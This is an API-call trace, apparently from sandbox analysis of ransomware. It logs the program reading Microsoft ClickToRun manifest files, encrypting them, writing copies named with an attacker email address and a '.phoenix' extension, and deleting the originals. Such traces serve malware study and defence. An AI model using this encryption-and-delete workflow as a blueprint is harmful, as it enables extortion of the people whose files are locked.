	[0223.356] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0223.356] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70, dwBufLen=0x70 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70) returned 1
	[0223.356] CryptDestroyKey (hKey=0x151400) returned 1
	[0223.356] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x122, lpOverlapped=0x0) returned 1
	[0223.356] CryptDestroyKey (hKey=0x151200) returned 1
	[0223.356] CloseHandle (hObject=0x2c8) returned 1
	[0223.356] CloseHandle (hObject=0x2e4) returned 1
	[0223.374] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.projectmui.msi.16.en-us.xml")) returned 1
	[0223.375] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0223.375] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0223.376] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=25518) returned 1
	[0223.376] CloseHandle (hObject=0x2e4) returned 1
	[0223.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml")) returned 0x20
	[0223.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0223.376] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0223.376] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0223.376] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0223.376] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0223.376] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151180) returned 1
	[0223.377] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0223.377] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x63ae, lpOverlapped=0x0) returned 1
	[0223.395] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x63b0, dwBufLen=0x63b0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x63b0) returned 1
	[0223.395] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x63b0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x63b0, lpOverlapped=0x0) returned 1
	[0223.396] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0223.396] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0223.396] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0223.396] CryptDestroyKey (hKey=0x151380) returned 1
	[0223.396] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0223.396] CryptDestroyKey (hKey=0x151180) returned 1
	[0223.396] CloseHandle (hObject=0x2e4) returned 1
	[0223.396] CloseHandle (hObject=0x2c8) returned 1
	[0223.398] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.en-us.xml")) returned 1
	[0223.399] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0223.399] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0223.401] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=24558) returned 1
	[0223.401] CloseHandle (hObject=0x2c8) returned 1
	[0223.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml")) returned 0x20
	[0223.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0223.401] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0223.401] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0223.402] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0223.402] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0223.402] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151100) returned 1
	[0223.402] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0223.402] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x5fee, lpOverlapped=0x0) returned 1
	[0223.414] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5ff0, dwBufLen=0x5ff0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5ff0) returned 1
	[0223.414] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x5ff0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x5ff0, lpOverlapped=0x0) returned 1
	[0223.415] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1511c0) returned 1
	[0223.415] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0223.415] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0223.415] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0223.415] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0223.415] CryptDestroyKey (hKey=0x151100) returned 1
	[0223.415] CloseHandle (hObject=0x2c8) returned 1
	[0223.416] CloseHandle (hObject=0x2e4) returned 1
	[0223.417] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml")) returned 1
	[0223.418] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0223.418] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0223.418] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=24558) returned 1
	[0223.418] CloseHandle (hObject=0x2e4) returned 1
	[0223.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml")) returned 0x20
	[0223.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0223.418] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0223.419] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0223.419] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0223.419] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0224.336] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0224.336] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0224.336] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x5fee, lpOverlapped=0x0) returned 1
	[0224.385] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5ff0, dwBufLen=0x5ff0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5ff0) returned 1
	[0224.385] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x5ff0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x5ff0, lpOverlapped=0x0) returned 1
	[0224.386] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151700) returned 1
	[0224.386] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0224.386] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0224.387] CryptDestroyKey (hKey=0x151700) returned 1
	[0224.387] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0224.387] CryptDestroyKey (hKey=0x151640) returned 1
	[0224.387] CloseHandle (hObject=0x2e4) returned 1
	[0224.387] CloseHandle (hObject=0x2d8) returned 1
	[0224.388] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml")) returned 1
	[0224.389] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0224.389] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0224.390] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=731118) returned 1
	[0224.390] CloseHandle (hObject=0x2d8) returned 1
	[0224.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml")) returned 0x20
	[0224.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0224.390] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0224.390] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0224.391] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0224.391] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0224.391] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0224.391] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0224.391] ReadFile (in: hFile=0x2d8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb27ee, lpOverlapped=0x0) returned 1
	[0224.755] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb27f0, dwBufLen=0xb27f0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb27f0) returned 1
	[0224.756] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xb27f0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xb27f0, lpOverlapped=0x0) returned 1
	[0224.772] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151700) returned 1
	[0224.772] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0224.772] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90, dwBufLen=0x90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90) returned 1
	[0224.772] CryptDestroyKey (hKey=0x151700) returned 1
	[0224.772] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x142, lpOverlapped=0x0) returned 1
	[0224.773] CryptDestroyKey (hKey=0x151380) returned 1
	[0224.773] CloseHandle (hObject=0x2d8) returned 1
	[0224.773] CloseHandle (hObject=0x2e4) returned 1
	[0224.788] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml")) returned 1
	[0224.816] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0224.816] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0225.167] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=986292) returned 1
	[0225.167] CloseHandle (hObject=0x2e4) returned 1
	[0225.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml")) returned 0x20
	[0225.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.167] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0225.167] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0225.167] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0225.167] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
